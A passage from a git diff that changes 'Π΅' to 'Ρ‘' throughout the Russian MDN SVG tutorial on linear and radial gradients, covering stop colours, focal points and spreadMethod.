+<p>Π’Ρ‹ΡˆΠ΅ находится ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠ³ΠΎ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΊ элСмСнту <code>&lt;rect&gt;. </code>Π’Π½ΡƒΡ‚Ρ€ΠΈ Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠ³ΠΎ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° Π΅ΡΡ‚ΡŒ нСсколько {{SVGElement('stop')}} Π½ΠΎΠ΄.. Π­Ρ‚ΠΈ Π½ΠΎΠ΄Ρ‹ ΡΠΎΠΎΠ±Ρ‰Π°ΡŽΡ‚ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρƒ, ΠΊΠ°ΠΊΠΎΠΉ Ρ†Π²Π΅Ρ‚ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² позициях, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>offset </code>для ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>stop-color. </code>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π΄Π°Π½ΠΎ прямо Π² SVG ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· CSS. Π’ цСлях этого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΎΠ±Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π±Ρ‹Π»ΠΈ ΡΠΌΠ΅ΡˆΠ°Π½Ρ‹. НапримСр, <em>Gradient1</em> начинаСтся с красного Ρ†Π²Π΅Ρ‚Π°, измСняСтся Π΄ΠΎ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎ-Ρ‡Ρ‘Ρ€Π½ΠΎΠ³ΠΎ Π² сСрСдинС ΠΈ заканчиваСтся синим Ρ†Π²Π΅Ρ‚ΠΎΠΌ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ стоп-Ρ†Π²Π΅Ρ‚ΠΎΠ², сколько Π½ΡƒΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ смСсь, которая Π±ΡƒΠ΄Π΅Ρ‚ красивой ΠΈΠ»ΠΈ уТасной, ΠΊΠ°ΠΊ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ. Π“Ρ€Π°Π½ΠΈΡ†Ρ‹ всСгда Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΎΡ‚ 0% (ΠΈΠ»ΠΈ ΠΎΡ‚ 0, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π·Π½Π°ΠΊ %) Π΄ΠΎ 100% (ΠΈΠ»ΠΈ 1). ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠ΅ΡΡ значСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стоп, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ находится дальшС всСх ΠΏΠΎ XML-Π΄Π΅Ρ€Π΅Π²Ρƒ. Π’Π°ΠΊΠΆΠ΅, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ Π·Π°Π»ΠΈΠ²ΠΊΠ΅ ΠΈ ΠΎΠ±Π²ΠΎΠ΄ΠΊΠ΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>stop-opacity, </code>Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ Π² этой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ (ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅, Π² FF3+ ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ rgba-значСния для этого).</p>
<pre class="eval notranslate"> &lt;stop offset="100%" stop-color="yellow" stop-opacity="0.5"/&gt;
</pre>
@@ -95,9 +95,9 @@ translation_of: Web/SVG/Tutorial/Gradients
<p>{{ EmbedLiveSample('Basic_example_2','120','240','/files/726/SVG_Radial_Gradient_Example.png') }}</p>
-<p>Атрибуты <strong>stop</strong>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ здСсь - ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‚ Π·Π° Ρ‚ΠΎ ΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ Π² Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹Ρ… Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°Ρ…. Однако сСйчас ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±ΡƒΠ΄Π΅Ρ‚ красным Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ ΠΈ постСпСнно ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊ синСму Ρ†Π²Π΅Ρ‚Ρƒ, "двигаясь" ΠΊ краям. Как ΠΈ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚, элСмСнт <code>&lt;radialGradient&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… Π΅Π³ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ (Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΡΡ‚ΡŒ?). Однако, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹Ρ… Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ², Ρ€Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ слоТнСС. Π Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ двумя "Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ опрСдСлят Π³Π΄Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. ΠŸΠ΅Ρ€Π²Π°Ρ "Ρ‚ΠΎΡ‡ΠΊΠ°" опрСдСляСт ΠΎΠΊΡ€ΡƒΠΆΠ½ΠΎΡΡ‚ΡŒ, Π³Π΄Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ заканчиваСтся. Для этого Π½Π°ΠΌ потрСбуСтся Ρ†Π΅Π½Ρ‚Ρ€ ΠΊΡ€ΡƒΠ³Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ обозначаСтся ΠΊΠ°ΠΊ <strong>cx</strong>Β ΠΈ <strong>cy</strong>, ΠΈ радиус -Β <strong>r</strong>. ИзмСняя эти Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ "Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒ" внСшнюю Π³Ρ€Π°Π½ΠΈΡ†Ρƒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° ΠΈ ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ΅ Π²Ρ‹ΡˆΠ΅.</p>
+<p>Атрибуты <strong>stop</strong>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ здСсь - ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‚ Π·Π° Ρ‚ΠΎ ΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ Π² Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹Ρ… Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°Ρ…. Однако сСйчас ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±ΡƒΠ΄Π΅Ρ‚ красным Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ ΠΈ постСпСнно ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊ синСму Ρ†Π²Π΅Ρ‚Ρƒ, "двигаясь" ΠΊ краям. Как ΠΈ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚, элСмСнт <code>&lt;radialGradient&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… Π΅Π³ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ (Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΡΡ‚ΡŒ?). Однако, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹Ρ… Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ², Ρ€Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ слоТнСС. Π Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ двумя "Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ опрСдСлят Π³Π΄Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹. ΠŸΠ΅Ρ€Π²Π°Ρ "Ρ‚ΠΎΡ‡ΠΊΠ°" опрСдСляСт ΠΎΠΊΡ€ΡƒΠΆΠ½ΠΎΡΡ‚ΡŒ, Π³Π΄Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ заканчиваСтся. Для этого Π½Π°ΠΌ потрСбуСтся Ρ†Π΅Π½Ρ‚Ρ€ ΠΊΡ€ΡƒΠ³Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ обозначаСтся ΠΊΠ°ΠΊ <strong>cx</strong>Β ΠΈ <strong>cy</strong>, ΠΈ радиус -Β <strong>r</strong>. ИзмСняя эти Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ "Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒ" внСшнюю Π³Ρ€Π°Π½ΠΈΡ†Ρƒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° ΠΈ ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Ρ‘ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ΅ Π²Ρ‹ΡˆΠ΅.</p>
-<p>Вторая "Ρ‚ΠΎΡ‡ΠΊΠ°" называСтся <strong>Ρ„ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ</strong>Β ΠΈ задаСтся Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈΒ <strong>fx</strong>Β ΠΈΒ <strong>fy</strong>. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ "Ρ‚ΠΎΡ‡ΠΊΠΈ" ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ Π½Π° внСшнюю Π³Ρ€Π°Π½ΠΈΡ†Ρƒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°, Ρ„ΠΎΠΊΠ°Π»ΡŒΠ½Π°Ρ "Ρ‚ΠΎΡ‡ΠΊΠ°" опрСдСляСт Π³Π΄Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π΅Π³ΠΎ <strong>сСрСдина</strong>. Π­Ρ‚ΠΎ Π»Π΅Π³ΠΊΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</p>
+<p>Вторая "Ρ‚ΠΎΡ‡ΠΊΠ°" называСтся <strong>Ρ„ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ</strong>Β ΠΈ задаётся Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈΒ <strong>fx</strong>Β ΠΈΒ <strong>fy</strong>. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ "Ρ‚ΠΎΡ‡ΠΊΠΈ" ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ Π½Π° внСшнюю Π³Ρ€Π°Π½ΠΈΡ†Ρƒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°, Ρ„ΠΎΠΊΠ°Π»ΡŒΠ½Π°Ρ "Ρ‚ΠΎΡ‡ΠΊΠ°" опрСдСляСт Π³Π΄Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π΅Π³ΠΎ <strong>сСрСдина</strong>. Π­Ρ‚ΠΎ Π»Π΅Π³ΠΊΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</p>
<h3 id="Center_and_focal_point">Center and focal point</h3>
@@ -128,7 +128,7 @@ translation_of: Web/SVG/Tutorial/Gradients
<p>Если Ρ„ΠΎΠΊΠ°Π»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° ΠΏΠ΅Ρ€Π΅Π΄Π²ΠΈΠ½ΡƒΡ‚Π° Π·Π° Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΊΡ€ΡƒΠ³Π°, Ρ‚ΠΎ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ отрисован Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Ρ„ΠΎΠΊΠ°Π»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈΒ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΊΡ€ΡƒΠ³Π° (ΠΈΠ»ΠΈ Π½Π° самой Π³Ρ€Π°Π½ΠΈΡ†Π΅). Если Ρ„ΠΎΠΊΠ°Π»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Π°, Ρ‚ΠΎ ΠΏΠΎ Π΄Π΅Ρ„ΠΎΠ»Ρ‚Ρƒ ΠΎΠ½Π° совпадаСт с Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ ΠΊΡ€ΡƒΠ³Π°.</p>
-<p>Π›ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ ΠΈ Ρ€Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ нСсколько Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ. ЕдинствСнный Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ я Ρ…ΠΎΡ‚Π΅Π» Π±Ρ‹ Ρ€Π°ΡΡΠΊΠ°Π·Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΒ - это <strong><code>spreadMethod</code></strong><code>. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚,Β Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ "достигаСт" внСшнСй Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°, Π½ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΅Ρ‰Π΅ Π½Π΅ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½. Аттрибут ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:</code>"pad", "reflect", ΠΈΠ»ΠΈ"repeat".Β "<strong>Pad</strong>" - это Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΠΎΠΊΠ° Ρ‡Ρ‚ΠΎ Π²ΠΈΠ΄Π΅Π»ΠΈ:Β ΠΊΠΎΠ³Π΄Π° Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ достигаСт "ΠΊΡ€Π°Π΅Π²", Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для заполнСния ΠΎΡΡ‚Π°Π²ΡˆΠ΅ΠΉΡΡ области. "Reflect" - Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ "Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ" Π² "Π·Π΅Ρ€ΠΊΠ°Π»ΡŒΠ½ΠΎΠΌ" ΠΎΡ‚Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ (стартовый Ρ†Π²Π΅Ρ‚ бСрСтся ΠΈΠ· 100%, Π° ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ ΠΈΠ· 0%). А затСм снова "пСрСворачиваСтся". И Ρ‚Π°ΠΊ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° Π½Π΅ достигнСт края.</p>
+<p>Π›ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ ΠΈ Ρ€Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ нСсколько Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ. ЕдинствСнный Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ я Ρ…ΠΎΡ‚Π΅Π» Π±Ρ‹ Ρ€Π°ΡΡΠΊΠ°Π·Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΒ - это <strong><code>spreadMethod</code></strong><code>. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚,Β Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ "достигаСт" внСшнСй Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°, Π½ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½. Аттрибут ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:</code>"pad", "reflect", ΠΈΠ»ΠΈ"repeat".Β "<strong>Pad</strong>" - это Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΠΎΠΊΠ° Ρ‡Ρ‚ΠΎ Π²ΠΈΠ΄Π΅Π»ΠΈ:Β ΠΊΠΎΠ³Π΄Π° Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ достигаСт "ΠΊΡ€Π°Ρ‘Π²", Ρ„ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для заполнСния ΠΎΡΡ‚Π°Π²ΡˆΠ΅ΠΉΡΡ области. "Reflect" - Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ "Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ" Π² "Π·Π΅Ρ€ΠΊΠ°Π»ΡŒΠ½ΠΎΠΌ" ΠΎΡ‚Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ (стартовый Ρ†Π²Π΅Ρ‚ бСрётся ΠΈΠ· 100%, Π° ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ ΠΈΠ· 0%). А затСм снова "пСрСворачиваСтся". И Ρ‚Π°ΠΊ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° Π½Π΅ достигнСт края.</p>
<h3 id="spreadMethod">spreadMethod</h3>
@@ -176,6 +176,6 @@ translation_of: Web/SVG/Tutorial/Gradients
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΠ½ΡƒΡŽ Ρ‚Ρ€Π°Π½ΡΡ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΊ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <strong><code>gradientTransform</code></strong>, Π½ΠΎ ΠΌΡ‹ ΠΏΠΎΠΊΠ° Ρ‡Ρ‚ΠΎ <a href="/en-US/Web/SVG/Tutorial/Basic_Transformations">Π΅Π³ΠΎ Π½Π΅ ΠΈΠ·ΡƒΡ‡Π°Π»ΠΈ</a>, я ΠΎΡΡ‚Π°Π²Π»ΡŽ это Π½Π° ΠΏΠΎΡ‚ΠΎΠΌ.<br>
<br>
Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ прСдостСрСТСния для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с <br>
- <code>gradientUnits="objectBoundingBox"</code>, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»Π΅ ограничСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π½Π΅ являСтся ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΌ, Π½ΠΎ ΠΎΠ½ΠΈ довольно слоТны ΠΈ ΠΈΠΌ придСтся ΠΆΠ΄Π°Ρ‚ΡŒ, ΠΏΠΎΠΊΠ° ΠΊΡ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π½Π΅ соизволит ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ ΠΈΡ….</p>
+ <code>gradientUnits="objectBoundingBox"</code>, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»Π΅ ограничСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π½Π΅ являСтся ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΌ, Π½ΠΎ ΠΎΠ½ΠΈ довольно слоТны ΠΈ ΠΈΠΌ придётся ΠΆΠ΄Π°Ρ‚ΡŒ, ΠΏΠΎΠΊΠ° ΠΊΡ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π½Π΅ соизволит ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ ΠΈΡ….</p>
<p>{{ PreviousNext("Web/SVG/Tutorial/Fills_and_Strokes", "Web/SVG/Tutorial/Patterns") }}</p>
diff --git a/files/ru/web/svg/tutorial/introduction/index.html b/files/ru/web/svg/tutorial/introduction/index.html
index a3c0f8e0e5..4043b9238a 100644
--- a/files/ru/web/svg/tutorial/introduction/index.html
+++ b/files/ru/web/svg/tutorial/introduction/index.html
@@ -9,9 +9,9 @@ original_slug: Web/SVG/Tutorial/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅
---
